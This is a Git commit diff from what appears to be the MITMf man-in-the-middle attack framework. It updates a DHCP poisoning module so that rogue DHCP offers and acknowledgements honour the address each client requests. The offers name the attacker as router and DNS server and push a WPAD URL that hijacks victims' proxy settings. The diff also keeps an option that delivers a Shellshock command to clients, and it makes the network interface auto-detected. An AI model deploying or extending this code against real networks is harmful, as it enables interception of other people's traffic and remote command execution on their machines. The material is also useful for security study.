DHCP poisoner now takes into account the requested IP of clients WPAD server address

Specifying interface is now optional
This commit is contained in:
byt3bl33d3r 2015-07-30 16:56:11 +02:00
parent 87bca5e7dd
commit 8270f337ad
6 changed files with 48 additions and 48 deletions

View file

@ -123,12 +123,6 @@
# Plugin configuration starts here # Plugin configuration starts here
# #
[Spoof]
[[DHCP]]
ip_pool = 192.168.1.10-50
subnet = 255.255.255.0
[Replace] [Replace]
[[Regex1]] [[Regex1]]

View file

@ -201,7 +201,7 @@ class ARE_Rules(object):
with open(rule_path, 'r') as rule: with open(rule_path, 'r') as rule:
payload = rule.read() payload = rule.read()
r = requests.post('{}/add?token={}'.format(self.url, self.token), data=payload, headers=headers) r = requests.post('{}/add?token={}'.format(self.url, self.token), data=payload, headers=headers)
return r.text #currently the returned object can't be serialized to JSON return r.json()
def trigger(self, rule_id): def trigger(self, rule_id):
r = requests.get('{}/trigger/{}?token={}'.format(self.url, rule_id, self.token)) r = requests.get('{}/trigger/{}?token={}'.format(self.url, rule_id, self.token))

View file

@ -21,7 +21,7 @@ import threading
import binascii import binascii
import random import random
from netaddr import IPAddress, IPNetwork, IPRange, AddrFormatError from netaddr import IPAddress, IPNetwork
from core.logger import logger from core.logger import logger
from scapy.all import * from scapy.all import *
@ -30,20 +30,20 @@ log = logger().setup_logger("DHCPpoisoner", formatter)
class DHCPpoisoner(): class DHCPpoisoner():
def __init__(self, options, dhcpcfg): def __init__(self, options):
self.interface = options.interface self.interface = options.interface
self.ip_address = options.ip self.ip_address = options.ip
self.mac_address = options.mac self.mac_address = options.mac
self.shellshock = options.shellshock self.shellshock = options.shellshock
self.netmask = options.netmask
self.debug = False self.debug = False
self.dhcpcfg = dhcpcfg
self.dhcp_dic = {} self.dhcp_dic = {}
log.debug("interface => {}".format(self.interface)) log.debug("interface => {}".format(self.interface))
log.debug("ip => {}".format(self.ip_address)) log.debug("ip => {}".format(self.ip_address))
log.debug("mac => {}".format(self.mac_address)) log.debug("mac => {}".format(self.mac_address))
log.debug("netmask => {}".format(self.netmask))
log.debug("shellshock => {}".format(self.shellshock)) log.debug("shellshock => {}".format(self.shellshock))
log.debug("dhcpcfg => {}".format(self.dhcpcfg))
def start(self): def start(self):
self.s2 = conf.L2socket(iface=self.interface) self.s2 = conf.L2socket(iface=self.interface)
@ -62,30 +62,24 @@ class DHCPpoisoner():
if "Interrupted system call" not in e: if "Interrupted system call" not in e:
log.error("Exception occurred while poisoning: {}".format(e)) log.error("Exception occurred while poisoning: {}".format(e))
def dhcp_rand_ip(self): def get_client_ip(self, xid, dhcp_options):
pool = self.dhcpcfg['ip_pool']
try: try:
if '/' in pool: field_name, req_addr = dhcp_options[2]
ips = list(IPNetwork(pool)) if field_name == 'requested_addr':
return str(random.choice(ips)) return 'requested', req_addr
elif '-' in pool: raise ValueError
start_addr = IPAddress(pool.split('-')[0]) except ValueError:
try: for field in dhcp_options:
end_addr = IPAddress(pool.split('-')[1]) if (field is tuple) and (field[0] == 'requested_addr'):
ips = list(IPRange(start_addr, end_addr)) return field[1]
except AddrFormatError:
end_addr = list(start_addr.words)
end_addr[-1] = pool.split('-')[1]
end_addr = IPAddress('.'.join(map(str, end_addr))) if xid in self.dhcp_dic.keys():
ips = list(IPRange(start_addr, end_addr)) client_ip = self.dhcp_dic[xid]
return 'stored', client_ip
return str(random.choice(ips)) net = IPNetwork(self.ip_address + '/24')
return 'generated', random.choice(list(net))
log.error('Specified invalid CIDR/Network range in DHCP pool option')
except AddrFormatError:
log.error('Specified invalid CIDR/Network range in DHCP pool option')
def dhcp_callback(self, resp): def dhcp_callback(self, resp):
if resp.haslayer(DHCP): if resp.haslayer(DHCP):
@ -94,15 +88,12 @@ class DHCPpoisoner():
mac_addr = resp[Ether].src mac_addr = resp[Ether].src
raw_mac = binascii.unhexlify(mac_addr.replace(":", "")) raw_mac = binascii.unhexlify(mac_addr.replace(":", ""))
if xid in self.dhcp_dic.keys():
client_ip = self.dhcp_dic[xid]
else:
client_ip = self.dhcp_rand_ip()
self.dhcp_dic[xid] = client_ip
if resp[DHCP].options[0][1] == 1: if resp[DHCP].options[0][1] == 1:
log.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid)) method, client_ip = self.get_client_ip(xid, resp[DHCP].options)
log.info("Sending DHCP OFFER") if method == 'requested':
log.info("Got DHCP DISCOVER from: {} requested_addr: {} xid: {}".format(mac_addr, client_ip, hex(xid)))
else:
log.info("Got DHCP DISCOVER from: {} xid: {}".format(mac_addr, hex(xid)))
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
IP(src=self.ip_address, dst='255.255.255.255') / IP(src=self.ip_address, dst='255.255.255.255') /
@ -110,19 +101,25 @@ class DHCPpoisoner():
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
DHCP(options=[("message-type", "offer"), DHCP(options=[("message-type", "offer"),
('server_id', self.ip_address), ('server_id', self.ip_address),
('subnet_mask', self.dhcpcfg['subnet']), ('subnet_mask', self.netmask),
('router', self.ip_address), ('router', self.ip_address),
('name_server', self.ip_address), ('name_server', self.ip_address),
('dns_server', self.ip_address), ('dns_server', self.ip_address),
('lease_time', 172800), ('lease_time', 172800),
('renewal_time', 86400), ('renewal_time', 86400),
('rebinding_time', 138240), ('rebinding_time', 138240),
(252, 'http://{}/wpad.dat\\n'.format(self.ip_address)),
"end"])) "end"]))
log.info("Sending DHCP OFFER")
self.s2.send(packet) self.s2.send(packet)
if resp[DHCP].options[0][1] == 3: if resp[DHCP].options[0][1] == 3:
log.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid)) method, client_ip = self.get_client_ip(xid, resp[DHCP].options)
if method == 'requested':
log.info("Got DHCP REQUEST from: {} requested_addr: {} xid: {}".format(mac_addr, client_ip, hex(xid)))
else:
log.info("Got DHCP REQUEST from: {} xid: {}".format(mac_addr, hex(xid)))
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
IP(src=self.ip_address, dst='255.255.255.255') / IP(src=self.ip_address, dst='255.255.255.255') /
@ -130,13 +127,14 @@ class DHCPpoisoner():
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
DHCP(options=[("message-type", "ack"), DHCP(options=[("message-type", "ack"),
('server_id', self.ip_address), ('server_id', self.ip_address),
('subnet_mask', self.dhcpcfg['subnet']), ('subnet_mask', self.netmask),
('router', self.ip_address), ('router', self.ip_address),
('name_server', self.ip_address), ('name_server', self.ip_address),
('dns_server', self.ip_address), ('dns_server', self.ip_address),
('lease_time', 172800), ('lease_time', 172800),
('renewal_time', 86400), ('renewal_time', 86400),
('rebinding_time', 138240)])) ('rebinding_time', 138240),
(252, 'http://{}/wpad.dat\\n'.format(self.ip_address))]))
if self.shellshock: if self.shellshock:
log.info("Sending DHCP ACK with shellshock payload") log.info("Sending DHCP ACK with shellshock payload")

View file

@ -24,7 +24,7 @@ import sys
from commands import getstatusoutput from commands import getstatusoutput
from core.logger import logger from core.logger import logger
from core.sergioproxy.ProxyPlugins import ProxyPlugins from core.sergioproxy.ProxyPlugins import ProxyPlugins
from scapy.all import get_if_addr, get_if_hwaddr from scapy.all import get_if_addr, get_if_hwaddr, get_working_if
formatter = logging.Formatter("%(asctime)s [Utils] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") formatter = logging.Formatter("%(asctime)s [Utils] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("Utils", formatter) log = logger().setup_logger("Utils", formatter)
@ -45,6 +45,11 @@ def set_ip_forwarding(value):
file.write(str(value)) file.write(str(value))
file.close() file.close()
def get_iface():
iface = get_working_if()
log.debug("Interface {} seems to be up and running")
return iface
def get_ip(interface): def get_ip(interface):
try: try:
ip_address = get_if_addr(interface) ip_address = get_if_addr(interface)

View file

@ -46,13 +46,13 @@ if os.geteuid() != 0:
parser = argparse.ArgumentParser(description="MITMf v{} - '{}'".format(mitmf_version, mitmf_codename), parser = argparse.ArgumentParser(description="MITMf v{} - '{}'".format(mitmf_version, mitmf_codename),
version="{} - '{}'".format(mitmf_version, mitmf_codename), version="{} - '{}'".format(mitmf_version, mitmf_codename),
usage='mitmf.py -i interface [mitmf options] [plugin name] [plugin options]', usage='mitmf.py [-i interface] [mitmf options] [plugin name] [plugin options]',
epilog="Use wisely, young Padawan.") epilog="Use wisely, young Padawan.")
#add MITMf options #add MITMf options
sgroup = parser.add_argument_group("MITMf", "Options for MITMf") sgroup = parser.add_argument_group("MITMf", "Options for MITMf")
sgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]") sgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]")
sgroup.add_argument("-i", dest='interface', required=True, type=str, help="Interface to listen on") sgroup.add_argument("-i", dest='interface', type=str, help="Interface to listen on")
sgroup.add_argument("-c", dest='configfile', metavar="CONFIG_FILE", type=str, default="./config/mitmf.conf", help="Specify config file to use") sgroup.add_argument("-c", dest='configfile', metavar="CONFIG_FILE", type=str, default="./config/mitmf.conf", help="Specify config file to use")
sgroup.add_argument("-p", "--preserve-cache", action="store_true", help="Don't kill client/server caching") sgroup.add_argument("-p", "--preserve-cache", action="store_true", help="Don't kill client/server caching")
sgroup.add_argument("-l", dest='listen_port', type=int, metavar="PORT", default=10000, help="Port to listen on (default 10000)") sgroup.add_argument("-l", dest='listen_port', type=int, metavar="PORT", default=10000, help="Port to listen on (default 10000)")
@ -73,7 +73,9 @@ options = parser.parse_args()
logger().log_level = logging.__dict__[options.log_level.upper()] logger().log_level = logging.__dict__[options.log_level.upper()]
#Check to see if we supplied a valid interface, pass the IP and MAC to the NameSpace object #Check to see if we supplied a valid interface, pass the IP and MAC to the NameSpace object
from core.utils import get_ip, get_mac, shutdown from core.utils import get_iface, get_ip, get_mac, shutdown
if not options.interface:
options.interface = get_iface()
options.ip = get_ip(options.interface) options.ip = get_ip(options.interface)
options.mac = get_mac(options.interface) options.mac = get_mac(options.interface)

View file

@ -49,7 +49,7 @@ class Spoof(Plugin):
if options.targets: if options.targets:
shutdown("[Spoof] --targets argument invalid when DCHP spoofing") shutdown("[Spoof] --targets argument invalid when DCHP spoofing")
dhcp = DHCPpoisoner(options, self.config['Spoof']['DHCP']) dhcp = DHCPpoisoner(options)
dhcp.debug = debug dhcp.debug = debug
self.tree_info.append('DHCP spoofing enabled') self.tree_info.append('DHCP spoofing enabled')
self.protocol_instances.append(dhcp) self.protocol_instances.append(dhcp)
@ -92,6 +92,7 @@ class Spoof(Plugin):
group.add_argument('--icmp', dest='icmp', action='store_true', help='Redirect traffic using ICMP redirects') group.add_argument('--icmp', dest='icmp', action='store_true', help='Redirect traffic using ICMP redirects')
group.add_argument('--dhcp', dest='dhcp', action='store_true', help='Redirect traffic using DHCP offers') group.add_argument('--dhcp', dest='dhcp', action='store_true', help='Redirect traffic using DHCP offers')
options.add_argument('--dns', dest='dns', action='store_true', help='Proxy/Modify DNS queries') options.add_argument('--dns', dest='dns', action='store_true', help='Proxy/Modify DNS queries')
options.add_argument('--netmask', dest='netmask', type=str, default='255.255.255.0', help='The netmask of the network')
options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command') options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP') options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
options.add_argument('--targets', dest='targets', help='Specify host/s to poison [if ommited will default to subnet]') options.add_argument('--targets', dest='targets', help='Specify host/s to poison [if ommited will default to subnet]')